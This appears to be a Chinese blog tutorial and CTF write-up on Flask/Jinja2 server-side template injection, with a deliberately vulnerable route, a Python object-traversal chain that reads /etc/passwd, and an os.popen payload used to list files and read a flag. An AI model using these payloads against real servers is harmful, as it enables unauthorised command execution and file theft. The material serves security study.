前言
这篇文章是我在做有关SSTI漏洞的CTF题时发现自己需要弥补这方面的知识写下的,也是自己在这方面不断摸索,读过许多大佬们的博客过后所学的的一些知识,如果其中有言语上的错误,希望大佬可以指正。
什么是SSTI漏洞
flask/SSTI漏洞完整的叫法应该是Flask(jinjia2)服务器端模板注入漏洞.SSTI主要为python的一些框架 jinja2 mako django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。由于所见到的题为flask模板注入,所以本文着重对其进行分析。
基础部分
Flask简介
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
什么是模板引擎
模板文件就是按照一定的规则书写的展示效果的HTML文件模板引擎就是负责按照指定规则进行替换的工具。模板引擎选择jinja2。
使用flask写一个"Hello,World!"
你需要在配置过python的环境下进行测试。pycharm安装flask会自动导入flask所需的模块,所以我们只需要命令安装所需要的包就可以了。进行实验的时候通过左上角新建项目时直接可以建立flask项目
输入下面的代码并运行,如果你没有安装flask模块的话会报错。
运行以后会显示如下
运行127.0.0.1:5000就可以的到回显
route装饰器路由
from flask import flask
@app.route('/')
def hello_word():
return 'hello word'
(以这段代码举个例子route就是装饰器,它的作用就是将函数与url绑定起来,告诉flask这个url可以去触发这个函数,这句话(@app.route('/'))就相当于路由,一个路由跟随一个函数。
)
from flask import Flask @app.route('/test') def hello_word(): return '123'
这里需要通过127.0.0.1:5000/test来访问,会返回123.
Jinja2模板的部分语法
1.变量
Jinjia2使用{{name}}结构
表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获
取。inja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤
器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
Hello, {{ name|capitalize }}
2.if语句
{% if user %} Hello,{{user}} ! {% else %} Hello,Stranger! {% endif %}
3.for语句
<ul> {% for comment in comments %} <li>{{comment}}</li> {% endfor %} </ul>
模板渲染
我们可以使用render_template()方法来渲染模板。我们要做的就是把模板名和关键字的参数传入到模板变量,看个例子:
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html')
render_template函数渲染的是templates中的模板,所以我们在项目的目录下建一个个templates文件夹,那里是存放模板文件(html)的。
templates和app.py文件是在同一级的。
这个时候页面的输出则会根据user这个字典里name的值来变化
{{}}在Jinja2中作为变量包裹标识符
模板注入
SSTI文件读取/命令执行
在Jinja2模板引擎中,{{}}不仅可以传递变量,还可以执行一些简单的表达式。
我们使用下面这个代码作为例子
@app.route('/SSTtest') def test(): code = request.args.get('id') html=''' <h2>%a<h2> '''%(code) return render_template_string(html)
这段代码存在漏洞的原因是因为数据和代码的混合。代码中的code是用户可控的,回合html拼接在一起然后进入渲染,如果我们单纯的
用id传入数值或者字母的话,其返回结果就是我们所输入的。
但如果我们使用变量包裹标识符来传递变量的话,就可以看到表达式会被执行。这种情况下也会有xss的产生
在flask里也有一些魔术方法和全局变量,通过这些我们可以加以利用来实现文件读取和命令执行。例如下面的例子
这种魔术方法就很类似于一种映射,通过一个对象来找到另一个对象,这里是我们通过一个字符串对象,找到了一个文件对象
然后在初始化,读取。
下面是列举的几个魔术方法,这些是我看一些大佬博客的总结。
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类(Object类是所有类的父类,包括我们所写的类。) __base__和__mro__ 都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
接下来的我就不截图了。
1.获得一个字符串实例
>>>""
''
2.获得其父类
>>>"".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3.获得父类的object类
>>>"".__class__.__mro__[2] ([]的意思是选择哪一个父类)
<type 'object'>
4.使用__subclasses__()方法,获得object类的子类
>>>"".__class__.__mro__[1].__subclasses__()
<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>
5.
获得第40个子类的一个实例,即一个file实例(因为第40个是<type 'file'>,file类文件是可读取的)
>>>
"".__class__.__mro__[1].__subclasses__()[40]
<type 'file'>
6.对file初始化
>>> "".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>
7.使用file的read属性读取,但是被提示这是一个方法
>>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>
8.使用read()方法读取
>>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()
这样就可以读出这个文件的内容了
这些都是为了做一道CTF题做的功课,我顺便把那道题的wp也写了。
首先先通过包裹标识判断出存在模板注入,我们需要找到'os'所在的`site._Printer`类,这样我们就可以使用os命令了。它在第72位,所以是'__subclasses__()[71]'
通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()来调用副武器的控制台,并显示结果,使用玩这个命令我们就可以
用控制台输出了。(popen('ls').read()`,意思是得到ls的结果并读取给变量)
找到了一个叫fl4g的文件,那么我们用cat命令读取试试
就得到了flag